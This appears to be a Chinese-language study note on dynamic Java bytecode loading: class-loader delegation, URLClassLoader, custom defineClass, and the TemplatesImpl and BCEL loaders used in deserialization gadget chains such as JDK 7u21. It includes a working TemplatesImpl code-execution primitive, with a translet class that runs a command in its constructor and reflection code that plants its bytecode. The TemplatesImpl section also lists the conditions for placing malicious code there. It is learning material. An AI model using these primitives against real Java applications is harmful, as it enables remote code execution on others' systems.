Java动态加载字节码
注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作
0x01.双亲委派模式
1.工作原理
如果一个类加载器收到了类加载请求,它并不会自己先去加载,而是把这个请求委托给父类的加载器去执行,如果父类加载器还存在其父类加载器,则进一步向上委托,依次递归,请求最终将到达顶层的启动类加载器,如果父类加载器可以完成类加载任务,就成功返回,倘若父类加载器无法完成此加载任务,子加载器才会尝试自己去加载,这就是双亲委派模式
2.loadClass
正如loadClass方法所展示的,当类加载请求到来时,先从缓存中查找该类对象,如果存在直接返回,如果不存在则交给该类加载去的父加载器去加载,倘若没有父加载则交给顶级启动类加载器去加载,最后倘若仍没有找到,则使用findClass()方法去加载
3.findClass
findClass()方法是在loadClass()方法中被调用的,当loadClass()方法中父加载器加载失败后,则会调用自己的findClass()方法来完成类加载,这样就可以保证自定义的类加载器也符合双亲委托模式。需要注意的是ClassLoader类中并没有实现findClass()方法的具体代码逻辑,取而代之的是抛出ClassNotFoundException异常,同时应该知道的是findClass方法通常是和defineClass方法一起使用的
4.defineClass
defineClass()方法是用来将byte字节流解析成JVM能够识别的Class对象(ClassLoader中已实现该方法逻辑),通过这个方法不仅能够通过class文件实例化class对象,也可以通过其他方式实例化class对象,如通过网络接收一个类的字节码,然后转换为byte字节流创建对应的Class对象,defineClass()方法通常与findClass()方法一起使用,一般情况下,在自定义类加载器时,会直接覆盖ClassLoader的findClass()方法并编写加载规则,取得要加载类的字节码后转换成流,然后调用defineClass()方法生成类的Class对象
ClassLoader类有如下核心方法:
loadClass(加载指定的Java类)
findClass(查找指定的Java类)
findLoadedClass(查找JVM已经加载过的类)
defineClass(定义一个Java类)
resolveClass(链接指定的Java类)
Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载方式:
// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName(“类名”)默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName(“类名”, 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。
0x02.URLClassLoader
DemoHelloWorld.java
public class DemoHelloWorld {
public String Hello() {
System.out.println("Hello World.");
return "invoke ok";
}
}
DemoUrlClassLoad.java
package com.URLClassLoad;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class DemoUrlClassLoad {
public static void main( String[] args ) throws Exception {
URL[] urls = {new URL("http://127.0.0.1:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("DemoHelloWorld");
Object o = c.newInstance();
//反射获取method方法
Method method = o.getClass().getMethod("Hello");
//反射去调用执行method方法
String str = (String) method.invoke(o);
System.out.println(str);
}
}
public class DemoHelloWorld {
public String Hello() {
System.out.println("Hello World.");
return "invoke ok";
}
}
编译DemoHelloWorld.java
javac DemoHelloWorld.java
将编译好的DemoHelloWorld.class放置Web服务下
通过URLClassLoader成功的加载
0x03.defineClass
DemoHelloWorld如果不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入DemoHelloWorld类的字节码的方式来向JVM中定义一个DemoHelloWorld类,最后通过反射机制就可以调用DemoHelloWorld类的Hello方法了。
package com.DemoDefineClass;
public class DemoHelloWorld {
public String Hello() {
System.out.println("Hello World.");
return "invoke ok";
}
}
javac DemoHelloWorld.java
编译
DemoToBytes.java
package com.DemoDefineClass;
import sun.misc.IOUtils;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
public class DemoToBytes {
public static void main(String[] args) throws IOException {
InputStream fis = new FileInputStream("src/main/java/com/DemoDefineClass/DemoHelloWorld.class");
byte[] bytes = IOUtils.readFully(fis, -1, false);
System.out.println(Arrays.toString(bytes));
}
}
得到DemoHelloWorld.class的字节码
DemoDefineClass.java
package com.DemoDefineClass;
import java.lang.reflect.Method;
class DemoDefineClass extends ClassLoader {
// TestHelloWorld类名
private static String testClassName = "com.DemoDefineClass.DemoHelloWorld";
// TestHelloWorld类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 60, 0, 31, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 9, 0, 8, 0, 9, 7, 0, 10, 12, 0, 11, 0, 12, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 8, 0, 14, 1, 0, 12, 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 46, 10, 0, 16, 0, 17, 7, 0, 18, 12, 0, 19, 0, 20, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 8, 0, 22, 1, 0, 9, 105, 110, 118, 111, 107, 101, 32, 111, 107, 7, 0, 24, 1, 0, 14, 68, 101, 109, 111, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 72, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 68, 101, 109, 111, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 0, 33, 0, 23, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 25, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 26, 0, 0, 0, 6, 0, 1, 0, 0, 0, 1, 0, 1, 0, 27, 0, 28, 0, 1, 0, 25, 0, 0, 0, 39, 0, 2, 0, 1, 0, 0, 0, 11, -78, 0, 7, 18, 13, -74, 0, 15, 18, 21, -80, 0, 0, 0, 1, 0, 26, 0, 0, 0, 10, 0, 2, 0, 0, 0, 3, 0, 8, 0, 4, 0, 1, 0, 29, 0, 0, 0, 2, 0, 30
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
DemoDefineClass loader = new DemoDefineClass();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("Hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
流程:loadClass过程中,因为双亲委派机制,在父类加载器找不到com.DemoDefineClass.DemoHelloWorld类时,最后通过自定义的findClass去加载,然后调用defineClass()方法生成类的Class对象
0x04.利用TemplatesImpl加载字节码
defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法
下面是简单的代码,来演示如何让系统的 defineClass 来直接加载字节码:
DemoHelloWorld.java
package com.DemoTemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class DemoHelloWorld extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public DemoHelloWorld() throws IOException {
super();
System.out.println("Hello World");
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
// Runtime.getRuntime().exec("calc.exe");
}
}
编译并base64编码
Javac DemoHelloWorld.java
cat DemoHelloWorld.class | base64
DemoTemplatesImpl.java
package com.DemoTemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.BASE64Decoder;
import java.lang.reflect.Field;
public class DemoTemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code =
new BASE64Decoder().decodeBuffer("yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAmTGNvbS9EZW1vVGVtcGxhdGVzSW1wbC9EZW1vSGVsbG9Xb3JsZDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEAE0RlbW9IZWxsb1dvcmxkLmphdmEMABkAGgcAJgwAJwAoAQALSGVsbG8gV29ybGQHACkMACoAKwEAJGNvbS9EZW1vVGVtcGxhdGVzSW1wbC9EZW1vSGVsbG9Xb3JsZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAAsACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAAA0ACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAoAAAAOAAMAAAAPAAQAEAAMABEACwAAAAwAAQAAAA0ADAANAAAAAQAbAAAAAgAc");
TemplatesImpl obj = new TemplatesImpl();
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
// 获取属性
Field _name = clazz.getDeclaredField("_name");
Field _bytecode = clazz.getDeclaredField("_bytecodes");
Field _tfactory = clazz.getDeclaredField("_tfactory");
// 设置属性可访问
_name.setAccessible(true);
_tfactory.setAccessible(true);
_bytecode.setAccessible(true);
// 设置属性的值
_name.set(obj,"reader-9l");
_bytecode.set(obj,new byte[][]{code});
_tfactory.set(obj,new TransformerFactoryImpl());
// TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() ClassLoader#defineClass()
obj.newTransformer();
// getOutputProperties也能触发,因为里面的代码也是实现了newTransformer()
// obj.getOutputProperties();
}
}
0x05 Gadgets 7u21 调试过程 - TemplatesImpl触发原理
TemplatesImpl#getOutputProperties也能触发,因为里面的代码也是实现了newTransformer()
TemplatesImpl#getOutputProperties():↓
也可以直接TemplatesImpl#newTransformer()
TemplatesImpl#newTransformer():↓
com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
调用了TemplatesImpl#getTransletInstance()
TemplatesImpl#getTransletInstance():↓
com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
因为要进入defineTransletClasses,那么_name
属性的值不能为null,所以_name
的值随便设置一个
同理_class
属性的值要为null,所以不用设置就行。
此时调用了TemplatesImpl#defineTransletClasses()
TemplatesImpl#defineTransletClasses():↓
com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
_bytecode
不能为null,否则就抛出了异常,至于赋予什么值,后面会分析
红框里的代码:
TemplatesImpl类中的_tfactory
变量需要有一个getExternalExtensionsMap方法,否则run方法就会报错从而程序中断,所以将_tfactory
的值设置为TransformerFactoryImpl类。即_tfactory.set(obj,new TransformerFactoryImpl());
这是没给_tfactory
赋值
运行报错了
这里抛出一个疑问:
_tfactory
赋值的类好像并不一定得要有getExternalExtensionsMap方法。同样能够触发~
回归主题:接下来就进入到了loader.defineClass里
TransletClassLoader#defineClass():↓
com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
ClassLoader#defineClass():↓
java/lang/ClassLoader.java
加载我们传递的字节码并生成对象。但是不会执行static代码。
接下来回到了TemplatesImpl#defineTransletClasses():↓
com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
这里获取_bytecode
转换后的类的父类,然后判断父类是不是AbstractTranslet
类,只有是的话,才能继续下去。
所以我们的恶意代码类必须要继承AbstractTranslet类
最后漏洞触发代码就是红框里的这一行,_transletIndex是在defineTransletClasses()中判断是不是AbstractTranslet子类时赋值的,然后实例化了_bytecode
的类,执行了静态方法或者构造函数里的代码。
总结
- TemplatesImpl类的
_name
变量 != null,随便设置即可 - TemplatesImpl类的
_class
变量 == null - TemplatesImpl类的
_bytecodes
变量 != null - TemplatesImpl类的
_bytecodes
是我们代码执行的类的字节码。_bytecodes
中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类 - 我们需要执行的恶意代码写在
_bytecodes
变量对应的类的静态方法或构造方法中。 - TemplatesImpl类的
_tfactory
需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类
0x06.利用BCEL ClassLoader加载字节码
BCEL是一个用于分析、创建和操纵Java类文件的工具库
判断类名是否是$$BCEL$$
开头,如果是的话,使用com.sun.org.apache.bcel.internal.classfile.Utility#decode
将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass
注册解码后的类,一旦该类被加载就会触发类中的恶意代码。
DemoHelloWorld.java
package com.DemoBCEL;
public class DemoHelloWorld {
public String Hello() {
System.out.println("Hello World");
return "String";
}
}
DemoBCELBytes.java
package com.DemoBCEL;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class DemoBCELBytes {
public static void main(String []args) throws Exception {
// Repository 用于将一个Java Class先转换成原生字节码
JavaClass cls = Repository.lookupClass(DemoHelloWorld.class);
// Utility 用于将原生的字节码转换成BCEL格式的字节码
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}
得到BCEL格式的字节码
DemoBCEL.java
// 成功
package com.DemoBCEL;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.lang.reflect.Method;
public class DemoBCEL {
public static void main(String []args) throws Exception {
Class testClass = new ClassLoader().loadClass("$$BCEL$$"+"$l$8b$I$A$A$A$A$A$A$A$7dQMO$c2$40$Q$7d$cbWK$5b$V$L$f8$85$ux$C$P$f6$e2$c5h$3c$88$g$P$8d$9a$60$f0$5c$60$83K$da$ae$v$c5$c4$7f$a5$k4$f1$e0$P$f0G$Z$a7$L$81$Y$8d$7b$98$d9yo$e6$ed$cc$ce$e7$d7$fb$H$80$7d$ec$Y$d0P$cc$a3$84$b2$8e$V$D$abX$d3$b1$aeaCC$85$nw$qB$R$l3$a4$h$cd$OC$a6$r$fb$9ca$c9$V$n$bf$i$H$5d$k$ddx$5d$9f$Q$db$95$3d$cf$efx$91H$e2$v$98$89$ef$c4$88$a1$ea$f6d$e0$9c$f2$40$9e$b4$ce$5cu$b9$e0$be$_oe$e4$f7$P$Z$b2$wb$u5$9a$ee$d0$7b$f0$i$df$L$HN$3b$8eD8$m$dah$cbq$d4$e3$e7$o$91$y$fe$ac$deK$f2$z$e8$c8k$d8$b4P$c5$W$83$a9$e8$9a$e25l$5b$a8$a1N$83L$f4$Y$w$ff4$c3P$987p$d5$j$f2$5e$fc$Dj$3f$8eb$k$d0g$c81$R$e5I$b7B$3a$d7$q$j$d3$D$dc$L$a8$e1$e2$l0$83v$9fD$7eHu$8d$dfc6$3b$a8$pG$9bHN$K$y$Z$89$acA$91C$9e$91$cf$ee$be$81$3d$x$da$q$9bS$60$g$WYk$92$80$F$y$92$a7$fd$a00$z$3ePb$80$f9$82$94$9d$7eE$c6$ce$3e$cd$q$M$f2I$99Nbs$Zs$s$b3$ac2$edo$j$7b$b1$e5$x$C$A$A");
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("Hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
}
}
0x07 参考链接
JDK反序列化Gadgets 7u21
https://xz.aliyun.com/t/6884
双亲委派机制
https://www.cnblogs.com/nice0e3/p/13719903.html/